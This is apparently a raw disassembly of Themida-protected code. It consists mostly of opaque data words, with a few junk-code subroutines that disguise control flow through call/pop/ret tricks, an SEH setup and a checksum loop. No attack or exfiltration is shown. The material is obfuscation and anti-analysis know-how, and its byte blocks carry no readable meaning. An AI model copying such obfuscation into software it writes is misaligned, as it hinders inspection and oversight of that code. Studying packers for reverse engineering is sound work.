		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FAB024C3h
		dd 0F535D12h, 680h, 880F00h, 5F000000h,	4E8C1F5h, 17B1B58Bh
		dd 0F76607FAh, 0ADB58BE2h, 2B07FA34h, 118D89D8h, 5807FA29h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C35141h
		dd 8B106531h, 0FA113DB5h, 0FD82B07h, 1AE88h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 9FAE40A4h, 36F1D905h, 0EE8h,	21804C00h, 0A94A45EEh
		dd 7010E83Dh, 8BD791AFh, 0FA1851BDh, 0B70F5F07h, 2FDE81F3h
		dd 0B94D56B9h, 7, 151DB58Bh, 0C18307FAh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 75A2E360h, 1C5BCB9h,	0FA2489BDh, 3BF78B07h, 28860FD9h
		dd 33000001h, 0FA2BF5BDh, 0D98C6607h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 5C35040h, 9D89A4DCh, 7FA007Dh
		dd 0F04C1F6h, 0E184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0DAD63271h, 0F88B0034h
		dd 22159D29h, 95FF07FAh, 7FA10A5h, 0B99D89h, 6A5B07FAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0B37FC353h, 2BBAEEFCh, 55006AC3h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0DE8011Bh
		dd 39000000h, 137A00C8h, 0A345114Fh, 3FB57158h,	0F1BF0F50h
		dd 343D5E5Eh, 0F000008h, 4986h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E9869B60h
		dd 37h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 4BC35242h, 0B25388B3h, 267DB58Bh, 0C08B07FAh, 0AE9h
		dd 19082200h, 0C24FEE4Bh, 8B27411Ch, 0E9D88BC3h, 0Bh, 80B471A9h
		dd 6BF0AAF9h, 0F9DCBD43h, 276585C7h, 0D55707FAh, 1501E68h
		dd 0FA2C959Dh, 0C08B5F07h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0A9C35040h, 0D375DC04h, 0BF0F603Eh, 65BD89CAh
		dd 6107FA1Eh, 719BD81h,	7D007FAh, 850F0000h, 5Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0FEC35141h, 0F1214DB3h
		dd 8B0F6Eh, 0F000000h, 688h, 8DB58B00h,	0FF07FA08h, 0FA071985h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 243FCA0Dh, 0C5EC7629h, 0FFFC6AC2h, 0FA0719B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 9BCA810Eh, 892B95A0h, 81BD8B08h,	0FF07FA28h
		dd 0FA101995h, 0B18D0107h, 9007FA15h, 12E9h, 47147400h
		dd 9730996Dh, 6E28F558h, 5BAC05D8h, 66C4B495h, 9589F88Bh
		dd 7FA2A65h, 0B8C0Fh, 0BD890000h, 7FA1131h, 25E78166h
		dd 53006A41h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 55745CFFh, 23F145EFh, 0FA2385BDh, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 56006A8Bh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 6624502Bh, 0F703ABFh, 583h, 1965BF00h, 0BD8B22C3h
		dd 7FA2DB5h, 0BD89F08Bh, 7FA2C41h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2A0F23Dh, 0B2E211C2h
		dd 9B4DC681h, 6A4CABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0B1803CC3h, 0BCEC1FD6h, 55006A8Eh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F777E9BBh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0E70A6BC3h, 600E0335h, 89D08B66h
		dd 0FA0D99B5h, 5E907h, 6B120000h, 61671BA5h, 34E9B58Bh
		dd 0AE807FAh, 3000000h,	0E901416Eh, 73CD3A93h, 35BD89EDh
		dd 0E807FA2Ch, 14h, 1079F981h, 0B5CE22BBh, 69AD5CE6h, 0AEF28B45h
		dd 299EF79h, 4CB7E781h,	0C78115ABh, 7D5666FBh, 6A605F5Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 4B6CC355h, 665388B3h, 0B94108BEh,	0FFFFFFFEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1AC35343h
		dd 3465DDCEh, 8D216845h, 7FA185Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0DBC35747h,	0E2382373h, 7679B713h
		dd 0CD858BBCh, 6607FA18h, 2123EAB8h, 0FA0DA58Dh, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 49858B23h, 8B07FA05h, 55BD8BFBh, 8B07FA2Bh, 0FA185D8Dh
		dd 0B1952907h
		dd 8307FA23h, 850F01E1h, 6, 25E1B58Bh, 8D8B07FAh, 7FA0DA5h
		dd 18870F57h, 0E9000000h, 13h, 6D770F51h, 7D7AE2C9h, 882BAE14h
		dd 0D343015Bh, 5EE0DE2Ch, 0F01E183h, 2585h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 2ABF3290h, 340EB937h, 6061C68Bh, 0D2DB58Bh, 0FEB907FAh
		dd 6AFFFFFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8927C352h, 0FA2F85BDh,	0F18D2107h
		dd 0F07FA2Eh, 287h, 21F08B00h, 0FA26198Dh, 49B58907h, 8B07FA27h
		dd 0FA2EF18Dh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0EB14288Bh, 3914F781h
		dd 0E1830AC7h, 6850F01h, 0B000000h, 0FA0F199Dh,	198D8B07h
		dd 6A07FA26h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 746EC355h, 1E1836Fh, 0C850Fh
		dd 958B0000h, 7FA2A1Dh,	0EC5BD8Bh, 606107FAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9EC35343h, 80BA49A4h
		dd 0FEB9DCC7h, 23FFFFFFh, 0FA26B985h, 0C58D2107h, 6A07FA0Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 2181C353h, 0FA05218Dh, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 63943E6Ah
		dd 95899E80h, 7FA0D41h,	0CC58D8Bh, 870F07FAh, 3, 83F0BF0Fh
		dd 850F01E1h, 6, 18A9BD89h, 8D8B07FAh, 7FA0521h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6DC35040h, 2999BD89h
		dd 0BD2907FAh, 7FA34E9h, 0F01E183h, 2385h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0FB8F8E04h, 46BAE428h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0F31061C3h, 8BDCF414h
		dd 0FA242DB5h, 0FFFEB907h, 9D8BFFFFh, 7FA0B9Dh,	27658D21h
		dd 958B07FAh, 7FA02F5h,	1E898D21h, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E11A6BC3h
		dd 2980847Bh, 658D8B7Ah, 0F07FA27h, 0E183DEBFh,	2E850F01h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0DD23C350h, 50F9E168h,	2AE1BD8Bh
		dd 315807FAh, 0FA1E69B5h, 898D8B07h, 8907FA1Eh,	0FA2C0985h
		dd 1E18307h, 0E850Fh, 0BD8B0000h, 7FA2AA1h, 398D8951h
		dd 5E07FA08h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E9491BC3h, 9, 0F090BFB8h, 23268951h
		dd 1985C7FDh, 0D007FA07h, 6A000007h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC66C353h
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 7BE4C757h, 6107EBB9h, 0E99Dh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 9DB78C3h, 0FA0E8195h, 6A30B207h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0C770C357h
		dd 0C680FB67h, 8B009226h, 5000BAC1h, 0EA81F011h, 0F0000000h
		dd 8914C283h, 0FA114D95h, 14EA8307h, 5AEA858Dh,	645007FEh
		dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
		dd 8166FFFFh, 0F5A4D38h, 1285h,	50B70F00h, 81D0033Ch, 45503Ah
		dd 0A840F00h, 2D000000h, 1000h,	0FFFFD9E9h, 89C88BFFh
		dd 0FA14A985h, 3C400307h, 650B70Fh, 18B59589h, 508B07FAh
		dd 5D958950h, 507FA08h,	0F8h, 30C508Bh,	0B59589D1h, 307FA22h
		dd 95890850h, 7FA2451h,	58F64h,	83000000h, 13E904C4h, 51000000h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 0BD83C3C0h
		dd 7FA3135h, 24840F00h,	0C6000000h, 0FA066585h,	0D2684707h
		dd 0FFD49AA7h, 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 0FF006AD0h
		dd 1D8589D0h, 8B07FA0Dh, 6A60D3h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 54B8A3C3h, 0AF433DD2h
		dd 2BB356AAh, 0FA30BD8Dh, 28C0F07h, 0B5000000h,	66C08BCAh
		dd 8AB3F181h, 0CDBD83F8h, 7FA2Ah, 0BD830975h, 7FA1899h
		dd 50197400h, 0B8C08B53h, 438h,	20C98589h, 9D8D07FAh, 7FCE224h
		dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h,	438h, 20C98589h
		dd 9D8D07FAh, 7FCDF13h,	585BD3FFh, 6ACEBF0Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 1D4DC352h, 0F913CC38h, 0C08B0E4Bh, 0E8F9B70Fh, 827h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 67C35141h
		dd 8915C4DDh, 0FA16F185h, 0C8BF0F07h, 7FAE8h, 59858900h
		dd 6A07FA2Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0D04EC355h, 0F3BF6B0h,	0CCE8F9B7h
		dd 6A000007h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0BD4FC351h, 0EE6784F0h, 0B18589F5h
		dd 8B07FA16h, 0FA2E218Dh, 799E807h, 9D290000h, 7FA015Dh
		dd 918589F9h, 6A07FA33h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 5002C356h, 0E865EF75h
		dd 767h, 0EE9h,	39CC9E00h, 0E6B4FFD4h, 0DC26287Dh, 897AA39Fh
		dd 0FA167D85h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0A2BC60FDh, 5E5DA888h
		dd 0F7B70F11h, 722E8h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 24D77DCFh, 89CE8B66h
		dd 0FA0D3185h, 4870F07h, 66000000h, 0E812CFB9h,	6EBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ADC35747h, 8D39072Fh
		dd 0DE81B4D7h, 684AB830h, 25158589h, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2B0FCC3h
		dd 0F684932h, 94E8F2BFh, 6A000006h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2D0FC355h
		dd 5D3DFC38h, 6657ED01h, 510FF781h, 0A9858959h,	6007FA2Eh
		dd 16EE8166h, 0D5BD8B54h, 6107FA17h, 652E8h, 0F9D98000h
		dd 112D8589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0AE58CAC3h, 16DAE867h, 95891A44h
		dd 7FA34A1h, 0C360F781h, 14E861F3h, 0B000006h, 0FA0F2DB5h
		dd 6D858907h, 0BF07FA2Dh, 4DF02A90h, 5FEE8h, 90D68100h
		dd 893C2D17h, 0FA214985h, 0C58D0107h, 0E807FA11h, 5E7h
		dd 8589F18Bh, 7FA28EDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0ECC35747h, 0CD2C38FDh, 0E8FC9745h, 5B7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h
		dd 67C4C45h, 2377032Ch,	0FA25A58Dh, 3D858907h, 2907FA24h
		dd 0FA0EE98Dh, 57DE807h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 6C55BBC3h, 0A59501E0h, 8907FA21h, 0FA1E9985h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 463BE387h, 52DE8FCh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 9B3FAC3h, 71858936h
		dd 6A07FA0Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 1A18C356h, 0DF1BBD50h,	733AD1C1h
		dd 2805BD89h, 0D8E807FAh, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0BB64C352h
		dd 6687C846h, 8589A928h, 7FA0EEDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E5C35242h,	0B0E97Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 95C35343h, 8100951Fh
		dd 8D8BB9C4h, 7FA23B1h,	8BD8B60Fh, 0FA26EDBDh, 6BA07h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 6E2100C3h, 97D27697h, 530DD1CAh, 5E9h, 0AE68F400h
		dd 8B5FDD37h, 0CE8C3h, 0AC320000h, 0E35760DEh, 0D649584Bh
		dd 8B5628A7h, 8B5E5EFAh, 0FA25998Dh, 4E8C107h, 2D958D2Bh
		dd 0F76607FAh, 11B509E2h, 2B07FA06h, 55006AD8h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0B99589F2h
		dd 5007FA1Eh, 6A241C89h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 37E1C352h, 9F138A36h
		dd 0FFC68850h, 0FA10A595h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 6A5B2A17h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 7FDBC350h, 0D0B3B3E4h, 56A3D681h,	958D5986h
		dd 7FA055Dh, 8E9h, 2CCFDA00h, 99442B9Ah, 6A1A89B9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 8815C353h, 0E8F4C395h, 13h, 15B882Bh, 0DE2CD343h, 88E366E0h
		dd 0AE4F0AE3h, 89AF6B2Ch, 0FA291185h, 42895907h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C8DB0A67h, 8DA2B102h, 0FA171D95h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 3DF8DB1h, 381FC238h,	8A1691B9h, 6A1A8910h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 94C9C356h, 6B8E68D4h, 42895F52h, 0B9852904h,	8D07FA14h
		dd 0FA15F195h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0E280F755h, 0E57BB00Bh
		dd 0EE8166B3h, 1A890DB4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 41C35343h, 2E388FB5h,	953E150h, 0FA143D9Dh
		dd 0BD8B5E07h, 7FA15F9h, 6A044289h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0FEF2C352h
		dd 8589B59Ah, 7FA1635h,	0F9958Dh, 0AFB107FAh, 6A1A89h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 529E27C3h, 13B96641h, 442891Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0D0C35343h,	41BD890Fh, 8D07FA27h
		dd 0FA108D95h, 0DE816607h, 0F08BDCD3h, 6A1A89h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 4A5A8DC3h, 0BD89A848h, 7FA2C69h, 6A044289h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 5580C357h, 9D958D63h, 2907FA0Eh, 0FA051985h,	6A1A8907h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 5C5AC351h, 95296741h, 7FA18CDh, 89044289h
		dd 0FA26DDB5h, 3D958D07h, 6607FA21h, 1A89F08Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 75C35343h, 0A7020FB6h
		dd 0B1D83A94h, 17B9661Eh, 4428954h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E8C35040h,	282323CCh, 0B41ECF5Ch
		dd 0F18B66F7h, 1175958Dh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 18559FC3h, 0EDEACF08h
		dd 0FE8B5C6Fh, 6A1A89h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 1A610DC3h, 937A801Fh, 25FD8D8Bh
		dd 428907FAh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 3E83BED2h, 32DF180h, 0FA31DDBDh
		dd 0A8E907h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 3191E1C3h, 0CB5B5AA4h, 10E9C721h
		dd 8A000000h, 0D0209206h, 16BD2DB2h, 2F8F6245h,	6AB2A489h
		dd 45BD0900h, 6A07FA1Fh, 0BE900h, 20670000h, 1FCD2E5Fh
		dd 9D52C21Dh, 6A006AA8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 834FC356h, 6A0C19h
		dd 20E1B58Bh, 95FF07FAh, 7FA2259h, 557A2B9h, 6AC325h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BE6640C3h, 0C58ABCE9h, 6830Fh, 85890000h, 7FA0EB1h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 472C0AC3h, 9AC935B5h, 14E83E26h, 0CB000000h
		dd 63770545h, 948FC1F5h, 961A2E02h, 0B80B6ACAh,	0E95A87ECh
		dd 13h,	0AADAC40Ch, 0E18F5453h,	72E8CFD6h, 59DA6D8Eh, 5FEBEDEEh
		dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h
		dd 38B8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h,	0FF07FCE2h
		dd 83585BD3h, 0FA1899BDh, 17740007h, 38B85350h,	89000004h
		dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 60585BD3h, 1C91B509h
		dd 860F07FAh, 6, 7818509h, 6A6107FAh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3910C350h
		dd 9D48B5D0h, 3466AB96h, 858DC08Bh, 7FA0199h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EFC35040h, 7CEEE6D7h
		dd 6D8621A8h, 41858962h, 9007FA1Ch, 50DF8B66h, 49BFBB66h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 1463486Bh, 66AA1FA4h, 0E860BAD5h, 0Ch, 0EE180B0Ah
		dd 50CC87BEh, 1CC41E5Fh, 5880F480h, 0F98B6660h,	3DC3BB66h
		dd 6A6161h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 18h,	83C35646h, 94B31768h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 704633C3h
		dd 0DABB66C5h, 0B858DD8h, 6A07FE68h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C1C8C357h
		dd 0F6DCDE4h, 68Eh, 119D0300h, 8307FA25h, 6A05C0h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0E85CB3C3h, 80BB6679h, 48950A2h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9E9D019h, 6A000000h
		dd 0BE9AF175h, 16E3349Bh, 0A820Fh, 5E90000h, 0FD000000h
		dd 0AE8FFB44h, 8960006Ah, 0FA2D4D9Dh, 0F19D8B07h, 6107FA23h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 7100A5C3h, 2BE995FFh, 6A07FAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D8DE6C3h
		dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0E2C35343h, 417C7D52h, 0C9BD3387h, 0FF07FA2Ah
		dd 55006AD1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0E62A0C64h, 0BBDB9C9Bh, 9933707h, 0DA816660h
		dd 7BB9051Fh, 612DCE82h, 33EDBD83h, 0F0107FAh, 8385h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0AE34B883h, 6ADD8A0Bh, 57006A02h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 59B350Fh, 9D8904CDh
		dd 7FA317Dh, 8A90F98Bh,	299050FAh, 0FA31119Dh, 9595FF07h
		dd 6A07FA1Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0B69FC350h, 8D29AB71h,	7FA11C9h
		dd 0D42E9h, 0E800h, 815D0000h, 0FE6815EDh, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 9B64C947h, 5D1A2F4Ah, 52006A88h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 8D00B162h, 2135BD23h
		dd 0EF8107FAh, 51C91DF4h, 0B959858Dh, 5E907FDh,	79000000h
		dd 0E0D2A969h, 0BB665090h, 8B90866Eh, 0FA2195BDh, 35FF6407h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+7FA2EF9h],	edi
		mov	large fs:0, esp
		clc
		inc	dword ptr [ebp+7FA1049h]
		push	0
		push	edx
		call	sub_5C9CEF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9CEF	proc near		; CODE XREF: Themida_:005C9CE7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C9CEF	endp

; ---------------------------------------------------------------------------
		db 0DBh
		dd 8A0Fh, 0FF6A0000h, 0F1B5FFF5h, 6A07FA16h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 1C9C351h, 19A06FA1h,	0A5850133h, 0FF07FA0Ch,	0FA287595h
		dd 0F2E907h, 0BD8B0000h, 7FA2139h, 8B6600B0h, 8B70E6DAh
		dd 0FA0831BDh, 3C71E407h, 0D5830F61h, 80000000h, 0B60F8AD3h
		dd 8B97B3C8h, 0FA0715BDh, 6BA07h, 9E80000h, 83000000h
		dd 7A625EFCh, 145F26FDh, 0D4F38166h, 0C18B5B70h, 4E8C1F8h
		dd 4870Fh, 0BF660000h, 0F7669BB1h, 0DE9E2h, 83E20000h
		dd 9463C8C2h, 8FD6A176h, 2B8DAB53h, 89BD8BC8h, 8B07FA0Bh
		dd 0B7BBBFD1h, 0B70F72E9h, 14E9FBh, 9E90000h, 6E000000h
		dd 0E6B0D1Ch, 41B95016h, 2E19BD8Bh, 858B07FAh, 7FA055Dh
		dd 71BEAABFh, 7C0837Bh,	8900C083h, 0FA2EA5BDh, 0FD03B07h
		dd 0D83h, 0DEB70F00h, 37E9h, 0F3816600h, 8D8B00E2h, 7FA185Dh
		dd 2BD19D03h, 0E18307FAh, 1D840F01h, 0F000000h,	0A583DEB7h
		dd 7FA185Dh, 6E380FEh, 55D9589h, 816607FAh, 0E93517C3h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FE0197h]
		jmp	loc_5C9E4C
; ---------------------------------------------------------------------------
		db 6
		db 90h
		db 51h,	0A9h, 0AAh
		dd 52B746C0h, 0BA2B9020h
; ---------------------------------------------------------------------------


loc_5C9E4C:				; CODE XREF: Themida_:005C9E3Aj
		push	0
		push	0
		push	eax
		call	sub_5C9E59
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9E59	proc near		; CODE XREF: Themida_:005C9E51p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C9E59	endp

; ---------------------------------------------------------------------------
		dec	esi
		test	eax, 0EB817499h
		sub	dl, bl
		lds	edi, [ebx-1]
		xchg	eax, ebp
		sbb	[eax], edx
		cli
		pop	es
		pusha
		mov	si, 19D0h
		add	[ebp+7FA21A5h],	ecx
		popa
		mov	ecx, 799h
		sub	[ebp+7FA1495h],	esi
		and	ecx, 0FFFFFFFCh
		mov	[ebp+7FA01B9h],	edi
		cld
		sub	[ebp+7FA1451h],	edi
		sub	eax, eax
		mov	bx, 7A66h
		mov	edx, 0
		push	0
		push	edi
		call	sub_5C9EB6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9EB6	proc near		; CODE XREF: Themida_:005C9EAEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C9EB6	endp

; ---------------------------------------------------------------------------
		mov	ds:[ebp+7FA1501h], edx
		jl	loc_5C9EE9
		jmp	loc_5C9EE9
; ---------------------------------------------------------------------------
		dd 0DBA75CDh, 0A72F4D29h, 4D570A3Bh, 0D988099Dh
; ---------------------------------------------------------------------------
		sahf


loc_5C9EE9:				; CODE XREF: Themida_:005C9ECDj
					; Themida_:005C9ED3j ...
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C9EE9
		push	0
		push	edi
		call	sub_5C9F00
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9F00	proc near		; CODE XREF: Themida_:005C9EF8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C9F00	endp

; ---------------------------------------------------------------------------
		dd 0B0927657h, 8370F458h, 0BB663AC8h, 53B72CAAh, 880Dh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 459D3128h, 0E96D11A7h, 13h, 1E7A8D5Ah, 0E14228F9h
		dd 4705D553h, 15AE1674h, 8BB621F8h, 0FA1CD995h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 6E8DB3Fh, 16000000h,	0C1A7F5F1h, 0E19D89C9h,	5B07FA01h
